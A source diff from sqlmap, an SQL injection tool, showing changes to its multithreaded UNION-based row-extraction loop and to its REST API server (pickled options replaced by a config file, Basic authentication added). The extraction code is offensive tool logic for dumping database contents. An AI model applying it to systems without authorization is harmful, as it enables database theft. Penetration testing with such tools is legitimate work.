|
|
||||||
threadData = getCurrentThreadData()
|
if isNumPosStrValue(count) and int(count) > 1:
|
||||||
|
threadData = getCurrentThreadData()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
|
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
|
||||||
except OverflowError:
|
except OverflowError:
|
||||||
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
|
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
|
||||||
errMsg += "with switch '--fresh-queries'"
|
errMsg += "with switch '--fresh-queries'"
|
||||||
raise SqlmapDataException(errMsg)
|
raise SqlmapDataException(errMsg)
|
||||||
|
|
||||||
numThreads = min(conf.threads, (stopLimit - startLimit))
|
numThreads = min(conf.threads, (stopLimit - startLimit))
|
||||||
threadData.shared.value = BigArray()
|
threadData.shared.value = BigArray()
|
||||||
threadData.shared.buffered = []
|
threadData.shared.buffered = []
|
||||||
threadData.shared.counter = 0
|
threadData.shared.counter = 0
|
||||||
threadData.shared.lastFlushed = startLimit - 1
|
threadData.shared.lastFlushed = startLimit - 1
|
||||||
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
|
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
|
||||||
|
|
||||||
if threadData.shared.showEta:
|
if threadData.shared.showEta:
|
||||||
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
|
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
|
||||||
|
|
||||||
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
||||||
kb.suppressResumeInfo = True
|
kb.suppressResumeInfo = True
|
||||||
debugMsg = "suppressing possible resume console info because of "
|
debugMsg = "suppressing possible resume console info because of "
|
||||||
debugMsg += "large number of rows. It might take too long"
|
debugMsg += "large number of rows. It might take too long"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
def unionThread():
|
def unionThread():
|
||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
|
|
||||||
while kb.threadContinue:
|
while kb.threadContinue:
|
||||||
with kb.locks.limit:
|
with kb.locks.limit:
|
||||||
try:
|
try:
|
||||||
valueStart = time.time()
|
valueStart = time.time()
|
||||||
threadData.shared.counter += 1
|
threadData.shared.counter += 1
|
||||||
num = threadData.shared.limits.next()
|
num = threadData.shared.limits.next()
|
||||||
except StopIteration:
|
except StopIteration:
|
||||||
|
break
|
||||||
|
|
||||||
|
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
|
field = expressionFieldsList[0]
|
||||||
|
elif Backend.isDbms(DBMS.ORACLE):
|
||||||
|
field = expressionFieldsList
|
||||||
|
else:
|
||||||
|
field = None
|
||||||
|
|
||||||
|
limitedExpr = agent.limitQuery(num, expression, field)
|
||||||
|
output = _oneShotUnionUse(limitedExpr, unpack, True)
|
||||||
|
|
||||||
|
if not kb.threadContinue:
|
||||||
break
|
break
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
if output:
|
||||||
field = expressionFieldsList[0]
|
with kb.locks.value:
|
||||||
elif Backend.isDbms(DBMS.ORACLE):
|
if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
|
||||||
field = expressionFieldsList
|
items = parseUnionPage(output)
|
||||||
else:
|
|
||||||
field = None
|
|
||||||
|
|
||||||
limitedExpr = agent.limitQuery(num, expression, field)
|
if threadData.shared.showEta:
|
||||||
output = _oneShotUnionUse(limitedExpr, unpack, True)
|
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
|
||||||
|
if isListLike(items):
|
||||||
|
# in case that we requested N columns and we get M!=N then we have to filter a bit
|
||||||
|
if len(items) > 1 and len(expressionFieldsList) > 1:
|
||||||
|
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
|
||||||
|
items = [_ for _ in flattenValue(items)]
|
||||||
|
if len(items) > len(expressionFieldsList):
|
||||||
|
filtered = OrderedDict()
|
||||||
|
for item in items:
|
||||||
|
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
|
||||||
|
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
|
||||||
|
filtered[key] = item
|
||||||
|
items = filtered.values()
|
||||||
|
items = [items]
|
||||||
|
index = None
|
||||||
|
for index in xrange(1 + len(threadData.shared.buffered)):
|
||||||
|
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
|
||||||
|
break
|
||||||
|
threadData.shared.buffered.insert(index or 0, (num, items))
|
||||||
|
else:
|
||||||
|
index = None
|
||||||
|
if threadData.shared.showEta:
|
||||||
|
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
|
||||||
|
for index in xrange(1 + len(threadData.shared.buffered)):
|
||||||
|
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
|
||||||
|
break
|
||||||
|
threadData.shared.buffered.insert(index or 0, (num, None))
|
||||||
|
|
||||||
if not kb.threadContinue:
|
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
|
||||||
break
|
|
||||||
|
|
||||||
if output:
|
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
|
||||||
with kb.locks.value:
|
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
|
||||||
if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
|
if not isNoneValue(_):
|
||||||
items = parseUnionPage(output)
|
threadData.shared.value.extend(arrayizeValue(_))
|
||||||
|
del threadData.shared.buffered[0]
|
||||||
|
|
||||||
if threadData.shared.showEta:
|
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
|
||||||
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
|
_ = ','.join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
|
||||||
if isListLike(items):
|
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
|
||||||
# in case that we requested N columns and we get M!=N then we have to filter a bit
|
|
||||||
if len(items) > 1 and len(expressionFieldsList) > 1:
|
|
||||||
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
|
|
||||||
items = [_ for _ in flattenValue(items)]
|
|
||||||
if len(items) > len(expressionFieldsList):
|
|
||||||
filtered = OrderedDict()
|
|
||||||
for item in items:
|
|
||||||
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
|
|
||||||
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
|
|
||||||
filtered[key] = item
|
|
||||||
items = filtered.values()
|
|
||||||
items = [items]
|
|
||||||
index = None
|
|
||||||
for index in xrange(len(threadData.shared.buffered)):
|
|
||||||
if threadData.shared.buffered[index][0] >= num:
|
|
||||||
break
|
|
||||||
threadData.shared.buffered.insert(index or 0, (num, items))
|
|
||||||
else:
|
|
||||||
index = None
|
|
||||||
if threadData.shared.showEta:
|
|
||||||
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
|
|
||||||
for index in xrange(len(threadData.shared.buffered)):
|
|
||||||
if threadData.shared.buffered[index][0] >= num:
|
|
||||||
break
|
|
||||||
threadData.shared.buffered.insert(index or 0, (num, None))
|
|
||||||
|
|
||||||
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
|
if len(status) > width:
|
||||||
|
status = "%s..." % status[:width - 3]
|
||||||
|
|
||||||
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
|
dataToStdout("%s\n" % status)
|
||||||
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
|
|
||||||
if not isNoneValue(_):
|
|
||||||
threadData.shared.value.extend(arrayizeValue(_))
|
|
||||||
del threadData.shared.buffered[0]
|
|
||||||
|
|
||||||
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
|
runThreads(numThreads, unionThread)
|
||||||
_ = ",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
|
|
||||||
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
|
|
||||||
|
|
||||||
if len(status) > width:
|
if conf.verbose == 1:
|
||||||
status = "%s..." % status[:width - 3]
|
clearConsoleLine(True)
|
||||||
|
|
||||||
dataToStdout("%s\n" % status)
|
except KeyboardInterrupt:
|
||||||
|
abortedFlag = True
|
||||||
|
|
||||||
runThreads(numThreads, unionThread)
|
warnMsg = "user aborted during enumeration. sqlmap "
|
||||||
|
warnMsg += "will display partial output"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if conf.verbose == 1:
|
finally:
|
||||||
clearConsoleLine(True)
|
for _ in sorted(threadData.shared.buffered):
|
||||||
|
if not isNoneValue(_[1]):
|
||||||
except KeyboardInterrupt:
|
threadData.shared.value.extend(arrayizeValue(_[1]))
|
||||||
abortedFlag = True
|
value = threadData.shared.value
|
||||||
|
kb.suppressResumeInfo = False
|
||||||
warnMsg = "user aborted during enumeration. sqlmap "
|
|
||||||
warnMsg += "will display partial output"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
finally:
|
|
||||||
for _ in sorted(threadData.shared.buffered):
|
|
||||||
if not isNoneValue(_[1]):
|
|
||||||
threadData.shared.value.extend(arrayizeValue(_[1]))
|
|
||||||
value = threadData.shared.value
|
|
||||||
kb.suppressResumeInfo = False
|
|
||||||
|
|
||||||
if not value and not abortedFlag:
|
if not value and not abortedFlag:
|
||||||
output = _oneShotUnionUse(expression, unpack)
|
output = _oneShotUnionUse(expression, unpack)
|
||||||
|
|||||||
+148
-81
@@ -6,6 +6,8 @@ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import contextlib
|
||||||
|
import httplib
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
@@ -19,8 +21,8 @@ import urllib2
|
|||||||
|
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.common import saveConfig
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.convert import base64pickle
|
|
||||||
from lib.core.convert import hexencode
|
from lib.core.convert import hexencode
|
||||||
from lib.core.convert import dejsonize
|
from lib.core.convert import dejsonize
|
||||||
from lib.core.convert import jsonize
|
from lib.core.convert import jsonize
|
||||||
@@ -42,6 +44,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
|
|||||||
from lib.core.settings import RESTAPI_DEFAULT_PORT
|
from lib.core.settings import RESTAPI_DEFAULT_PORT
|
||||||
from lib.core.subprocessng import Popen
|
from lib.core.subprocessng import Popen
|
||||||
from lib.parse.cmdline import cmdLineParser
|
from lib.parse.cmdline import cmdLineParser
|
||||||
|
from thirdparty.bottle.bottle import abort
|
||||||
from thirdparty.bottle.bottle import error as return_error
|
from thirdparty.bottle.bottle import error as return_error
|
||||||
from thirdparty.bottle.bottle import get
|
from thirdparty.bottle.bottle import get
|
||||||
from thirdparty.bottle.bottle import hook
|
from thirdparty.bottle.bottle import hook
|
||||||
@@ -49,14 +52,15 @@ from thirdparty.bottle.bottle import post
|
|||||||
from thirdparty.bottle.bottle import request
|
from thirdparty.bottle.bottle import request
|
||||||
from thirdparty.bottle.bottle import response
|
from thirdparty.bottle.bottle import response
|
||||||
from thirdparty.bottle.bottle import run
|
from thirdparty.bottle.bottle import run
|
||||||
|
from thirdparty.bottle.bottle import server_names
|
||||||
|
|
||||||
|
# Global data storage
|
||||||
# global settings
|
|
||||||
class DataStore(object):
|
class DataStore(object):
|
||||||
admin_id = ""
|
admin_id = ""
|
||||||
current_db = None
|
current_db = None
|
||||||
tasks = dict()
|
tasks = dict()
|
||||||
|
username = None
|
||||||
|
password = None
|
||||||
|
|
||||||
# API objects
|
# API objects
|
||||||
class Database(object):
|
class Database(object):
|
||||||
@@ -68,7 +72,7 @@ class Database(object):
|
|||||||
self.cursor = None
|
self.cursor = None
|
||||||
|
|
||||||
def connect(self, who="server"):
|
def connect(self, who="server"):
|
||||||
self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None)
|
self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False)
|
||||||
self.cursor = self.connection.cursor()
|
self.cursor = self.connection.cursor()
|
||||||
logger.debug("REST-JSON API %s connected to IPC database" % who)
|
logger.debug("REST-JSON API %s connected to IPC database" % who)
|
||||||
|
|
||||||
@@ -116,7 +120,6 @@ class Database(object):
|
|||||||
"taskid INTEGER, error TEXT"
|
"taskid INTEGER, error TEXT"
|
||||||
")")
|
")")
|
||||||
|
|
||||||
|
|
||||||
class Task(object):
|
class Task(object):
|
||||||
def __init__(self, taskid, remote_addr):
|
def __init__(self, taskid, remote_addr):
|
||||||
self.remote_addr = remote_addr
|
self.remote_addr = remote_addr
|
||||||
@@ -161,10 +164,16 @@ class Task(object):
|
|||||||
self.options = AttribDict(self._original_options)
|
self.options = AttribDict(self._original_options)
|
||||||
|
|
||||||
def engine_start(self):
|
def engine_start(self):
|
||||||
|
handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
|
||||||
|
os.close(handle)
|
||||||
|
saveConfig(self.options, configFile)
|
||||||
|
|
||||||
if os.path.exists("sqlmap.py"):
|
if os.path.exists("sqlmap.py"):
|
||||||
self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN)
|
self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
|
||||||
|
elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")):
|
||||||
|
self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN)
|
||||||
else:
|
else:
|
||||||
self.process = Popen(["sqlmap", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN)
|
self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
|
||||||
|
|
||||||
def engine_stop(self):
|
def engine_stop(self):
|
||||||
if self.process:
|
if self.process:
|
||||||
@@ -224,34 +233,26 @@ class StdDbOut(object):
|
|||||||
# Ignore all non-relevant messages
|
# Ignore all non-relevant messages
|
||||||
return
|
return
|
||||||
|
|
||||||
output = conf.databaseCursor.execute(
|
output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type))
|
||||||
"SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?",
|
|
||||||
(self.taskid, content_type))
|
|
||||||
|
|
||||||
# Delete partial output from IPC database if we have got a complete output
|
# Delete partial output from IPC database if we have got a complete output
|
||||||
if status == CONTENT_STATUS.COMPLETE:
|
if status == CONTENT_STATUS.COMPLETE:
|
||||||
if len(output) > 0:
|
if len(output) > 0:
|
||||||
for index in xrange(len(output)):
|
for index in xrange(len(output)):
|
||||||
conf.databaseCursor.execute("DELETE FROM data WHERE id = ?",
|
conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],))
|
||||||
(output[index][0],))
|
|
||||||
|
|
||||||
conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
|
conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value)))
|
||||||
(self.taskid, status, content_type, jsonize(value)))
|
|
||||||
if kb.partRun:
|
if kb.partRun:
|
||||||
kb.partRun = None
|
kb.partRun = None
|
||||||
|
|
||||||
elif status == CONTENT_STATUS.IN_PROGRESS:
|
elif status == CONTENT_STATUS.IN_PROGRESS:
|
||||||
if len(output) == 0:
|
if len(output) == 0:
|
||||||
conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
|
conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value)))
|
||||||
(self.taskid, status, content_type,
|
|
||||||
jsonize(value)))
|
|
||||||
else:
|
else:
|
||||||
new_value = "%s%s" % (dejsonize(output[0][2]), value)
|
new_value = "%s%s" % (dejsonize(output[0][2]), value)
|
||||||
conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?",
|
conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0]))
|
||||||
(jsonize(new_value), output[0][0]))
|
|
||||||
else:
|
else:
|
||||||
conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)",
|
conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else ""))
|
||||||
(self.taskid, str(value) if value else ""))
|
|
||||||
|
|
||||||
def flush(self):
|
def flush(self):
|
||||||
pass
|
pass
|
||||||
@@ -262,20 +263,16 @@ class StdDbOut(object):
|
|||||||
def seek(self):
|
def seek(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class LogRecorder(logging.StreamHandler):
|
class LogRecorder(logging.StreamHandler):
|
||||||
def emit(self, record):
|
def emit(self, record):
|
||||||
"""
|
"""
|
||||||
Record emitted events to IPC database for asynchronous I/O
|
Record emitted events to IPC database for asynchronous I/O
|
||||||
communication with the parent process
|
communication with the parent process
|
||||||
"""
|
"""
|
||||||
conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)",
|
conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, record.msg % record.args if record.args else record.msg))
|
||||||
(conf.taskid, time.strftime("%X"), record.levelname,
|
|
||||||
record.msg % record.args if record.args else record.msg))
|
|
||||||
|
|
||||||
|
|
||||||
def setRestAPILog():
|
def setRestAPILog():
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
try:
|
try:
|
||||||
conf.databaseCursor = Database(conf.database)
|
conf.databaseCursor = Database(conf.database)
|
||||||
conf.databaseCursor.connect("client")
|
conf.databaseCursor.connect("client")
|
||||||
@@ -287,11 +284,32 @@ def setRestAPILog():
|
|||||||
LOGGER_RECORDER = LogRecorder()
|
LOGGER_RECORDER = LogRecorder()
|
||||||
logger.addHandler(LOGGER_RECORDER)
|
logger.addHandler(LOGGER_RECORDER)
|
||||||
|
|
||||||
|
|
||||||
# Generic functions
|
# Generic functions
|
||||||
def is_admin(taskid):
|
def is_admin(taskid):
|
||||||
return DataStore.admin_id == taskid
|
return DataStore.admin_id == taskid
|
||||||
|
|
||||||
|
@hook('before_request')
|
||||||
|
def check_authentication():
|
||||||
|
if not any((DataStore.username, DataStore.password)):
|
||||||
|
return
|
||||||
|
|
||||||
|
authorization = request.headers.get("Authorization", "")
|
||||||
|
match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization)
|
||||||
|
|
||||||
|
if not match:
|
||||||
|
request.environ["PATH_INFO"] = "/error/401"
|
||||||
|
|
||||||
|
try:
|
||||||
|
creds = match.group(1).decode("base64")
|
||||||
|
except:
|
||||||
|
request.environ["PATH_INFO"] = "/error/401"
|
||||||
|
else:
|
||||||
|
if creds.count(':') != 1:
|
||||||
|
request.environ["PATH_INFO"] = "/error/401"
|
||||||
|
else:
|
||||||
|
username, password = creds.split(':')
|
||||||
|
if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""):
|
||||||
|
request.environ["PATH_INFO"] = "/error/401"
|
||||||
|
|
||||||
@hook("after_request")
|
@hook("after_request")
|
||||||
def security_headers(json_header=True):
|
def security_headers(json_header=True):
|
||||||
@@ -305,6 +323,7 @@ def security_headers(json_header=True):
|
|||||||
response.headers["Pragma"] = "no-cache"
|
response.headers["Pragma"] = "no-cache"
|
||||||
response.headers["Cache-Control"] = "no-cache"
|
response.headers["Cache-Control"] = "no-cache"
|
||||||
response.headers["Expires"] = "0"
|
response.headers["Expires"] = "0"
|
||||||
|
|
||||||
if json_header:
|
if json_header:
|
||||||
response.content_type = "application/json; charset=UTF-8"
|
response.content_type = "application/json; charset=UTF-8"
|
||||||
|
|
||||||
@@ -312,35 +331,39 @@ def security_headers(json_header=True):
|
|||||||
# HTTP Status Code functions #
|
# HTTP Status Code functions #
|
||||||
##############################
|
##############################
|
||||||
|
|
||||||
|
|
||||||
@return_error(401) # Access Denied
|
@return_error(401) # Access Denied
|
||||||
def error401(error=None):
|
def error401(error=None):
|
||||||
security_headers(False)
|
security_headers(False)
|
||||||
return "Access denied"
|
return "Access denied"
|
||||||
|
|
||||||
|
|
||||||
@return_error(404) # Not Found
|
@return_error(404) # Not Found
|
||||||
def error404(error=None):
|
def error404(error=None):
|
||||||
security_headers(False)
|
security_headers(False)
|
||||||
return "Nothing here"
|
return "Nothing here"
|
||||||
|
|
||||||
|
|
||||||
@return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET)
|
@return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET)
|
||||||
def error405(error=None):
|
def error405(error=None):
|
||||||
security_headers(False)
|
security_headers(False)
|
||||||
return "Method not allowed"
|
return "Method not allowed"
|
||||||
|
|
||||||
|
|
||||||
@return_error(500) # Internal Server Error
|
@return_error(500) # Internal Server Error
|
||||||
def error500(error=None):
|
def error500(error=None):
|
||||||
security_headers(False)
|
security_headers(False)
|
||||||
return "Internal server error"
|
return "Internal server error"
|
||||||
|
|
||||||
|
#############
|
||||||
|
# Auxiliary #
|
||||||
|
#############
|
||||||
|
|
||||||
|
@get('/error/401')
|
||||||
|
def path_401():
|
||||||
|
response.status = 401
|
||||||
|
return response
|
||||||
|
|
||||||
#############################
|
#############################
|
||||||
# Task management functions #
|
# Task management functions #
|
||||||
#############################
|
#############################
|
||||||
|
|
||||||
|
|
||||||
# Users' methods
|
# Users' methods
|
||||||
@get("/task/new")
|
@get("/task/new")
|
||||||
def task_new():
|
def task_new():
|
||||||
@@ -355,7 +378,6 @@ def task_new():
|
|||||||
logger.debug("Created new task: '%s'" % taskid)
|
logger.debug("Created new task: '%s'" % taskid)
|
||||||
return jsonize({"success": True, "taskid": taskid})
|
return jsonize({"success": True, "taskid": taskid})
|
||||||
|
|
||||||
|
|
||||||
@get("/task/<taskid>/delete")
|
@get("/task/<taskid>/delete")
|
||||||
def task_delete(taskid):
|
def task_delete(taskid):
|
||||||
"""
|
"""
|
||||||
@@ -374,7 +396,6 @@ def task_delete(taskid):
|
|||||||
# Admin functions #
|
# Admin functions #
|
||||||
###################
|
###################
|
||||||
|
|
||||||
|
|
||||||
@get("/admin/<taskid>/list")
|
@get("/admin/<taskid>/list")
|
||||||
def task_list(taskid=None):
|
def task_list(taskid=None):
|
||||||
"""
|
"""
|
||||||
@@ -407,7 +428,6 @@ def task_flush(taskid):
|
|||||||
# sqlmap core interact functions #
|
# sqlmap core interact functions #
|
||||||
##################################
|
##################################
|
||||||
|
|
||||||
|
|
||||||
# Handle task's options
|
# Handle task's options
|
||||||
@get("/option/<taskid>/list")
|
@get("/option/<taskid>/list")
|
||||||
def option_list(taskid):
|
def option_list(taskid):
|
||||||
@@ -421,7 +441,6 @@ def option_list(taskid):
|
|||||||
logger.debug("[%s] Listed task options" % taskid)
|
logger.debug("[%s] Listed task options" % taskid)
|
||||||
return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()})
|
return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()})
|
||||||
|
|
||||||
|
|
||||||
@post("/option/<taskid>/get")
|
@post("/option/<taskid>/get")
|
||||||
def option_get(taskid):
|
def option_get(taskid):
|
||||||
"""
|
"""
|
||||||
@@ -440,33 +459,41 @@ def option_get(taskid):
|
|||||||
logger.debug("[%s] Requested value for unknown option %s" % (taskid, option))
|
logger.debug("[%s] Requested value for unknown option %s" % (taskid, option))
|
||||||
return jsonize({"success": False, "message": "Unknown option", option: "not set"})
|
return jsonize({"success": False, "message": "Unknown option", option: "not set"})
|
||||||
|
|
||||||
|
|
||||||
@post("/option/<taskid>/set")
|
@post("/option/<taskid>/set")
|
||||||
def option_set(taskid):
|
def option_set(taskid):
|
||||||
"""
|
"""
|
||||||
Set an option (command line switch) for a certain task ID
|
Set an option (command line switch) for a certain task ID
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if taskid not in DataStore.tasks:
|
if taskid not in DataStore.tasks:
|
||||||
logger.warning("[%s] Invalid task ID provided to option_set()" % taskid)
|
logger.warning("[%s] Invalid task ID provided to option_set()" % taskid)
|
||||||
return jsonize({"success": False, "message": "Invalid task ID"})
|
return jsonize({"success": False, "message": "Invalid task ID"})
|
||||||
|
|
||||||
|
if request.json is None:
|
||||||
|
logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid)
|
||||||
|
return jsonize({"success": False, "message": "Invalid JSON options"})
|
||||||
|
|
||||||
for option, value in request.json.items():
|
for option, value in request.json.items():
|
||||||
DataStore.tasks[taskid].set_option(option, value)
|
DataStore.tasks[taskid].set_option(option, value)
|
||||||
|
|
||||||
logger.debug("[%s] Requested to set options" % taskid)
|
logger.debug("[%s] Requested to set options" % taskid)
|
||||||
return jsonize({"success": True})
|
return jsonize({"success": True})
|
||||||
|
|
||||||
|
|
||||||
# Handle scans
|
# Handle scans
|
||||||
@post("/scan/<taskid>/start")
|
@post("/scan/<taskid>/start")
|
||||||
def scan_start(taskid):
|
def scan_start(taskid):
|
||||||
"""
|
"""
|
||||||
Launch a scan
|
Launch a scan
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if taskid not in DataStore.tasks:
|
if taskid not in DataStore.tasks:
|
||||||
logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid)
|
logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid)
|
||||||
return jsonize({"success": False, "message": "Invalid task ID"})
|
return jsonize({"success": False, "message": "Invalid task ID"})
|
||||||
|
|
||||||
|
if request.json is None:
|
||||||
|
logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid)
|
||||||
|
return jsonize({"success": False, "message": "Invalid JSON options"})
|
||||||
|
|
||||||
# Initialize sqlmap engine's options with user's provided options, if any
|
# Initialize sqlmap engine's options with user's provided options, if any
|
||||||
for option, value in request.json.items():
|
for option, value in request.json.items():
|
||||||
DataStore.tasks[taskid].set_option(option, value)
|
DataStore.tasks[taskid].set_option(option, value)
|
||||||
@@ -477,12 +504,12 @@ def scan_start(taskid):
|
|||||||
logger.debug("[%s] Started scan" % taskid)
|
logger.debug("[%s] Started scan" % taskid)
|
||||||
return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()})
|
return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()})
|
||||||
|
|
||||||
|
|
||||||
@get("/scan/<taskid>/stop")
|
@get("/scan/<taskid>/stop")
|
||||||
def scan_stop(taskid):
|
def scan_stop(taskid):
|
||||||
"""
|
"""
|
||||||
Stop a scan
|
Stop a scan
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if (taskid not in DataStore.tasks or
|
if (taskid not in DataStore.tasks or
|
||||||
DataStore.tasks[taskid].engine_process() is None or
|
DataStore.tasks[taskid].engine_process() is None or
|
||||||
DataStore.tasks[taskid].engine_has_terminated()):
|
DataStore.tasks[taskid].engine_has_terminated()):
|
||||||
@@ -494,12 +521,12 @@ def scan_stop(taskid):
|
|||||||
logger.debug("[%s] Stopped scan" % taskid)
|
logger.debug("[%s] Stopped scan" % taskid)
|
||||||
return jsonize({"success": True})
|
return jsonize({"success": True})
|
||||||
|
|
||||||
|
|
||||||
@get("/scan/<taskid>/kill")
|
@get("/scan/<taskid>/kill")
|
||||||
def scan_kill(taskid):
|
def scan_kill(taskid):
|
||||||
"""
|
"""
|
||||||
Kill a scan
|
Kill a scan
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if (taskid not in DataStore.tasks or
|
if (taskid not in DataStore.tasks or
|
||||||
DataStore.tasks[taskid].engine_process() is None or
|
DataStore.tasks[taskid].engine_process() is None or
|
||||||
DataStore.tasks[taskid].engine_has_terminated()):
|
DataStore.tasks[taskid].engine_has_terminated()):
|
||||||
@@ -511,12 +538,12 @@ def scan_kill(taskid):
|
|||||||
logger.debug("[%s] Killed scan" % taskid)
|
logger.debug("[%s] Killed scan" % taskid)
|
||||||
return jsonize({"success": True})
|
return jsonize({"success": True})
|
||||||
|
|
||||||
|
|
||||||
@get("/scan/<taskid>/status")
|
@get("/scan/<taskid>/status")
|
||||||
def scan_status(taskid):
|
def scan_status(taskid):
|
||||||
"""
|
"""
|
||||||
Returns status of a scan
|
Returns status of a scan
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if taskid not in DataStore.tasks:
|
if taskid not in DataStore.tasks:
|
||||||
logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid)
|
logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid)
|
||||||
return jsonize({"success": False, "message": "Invalid task ID"})
|
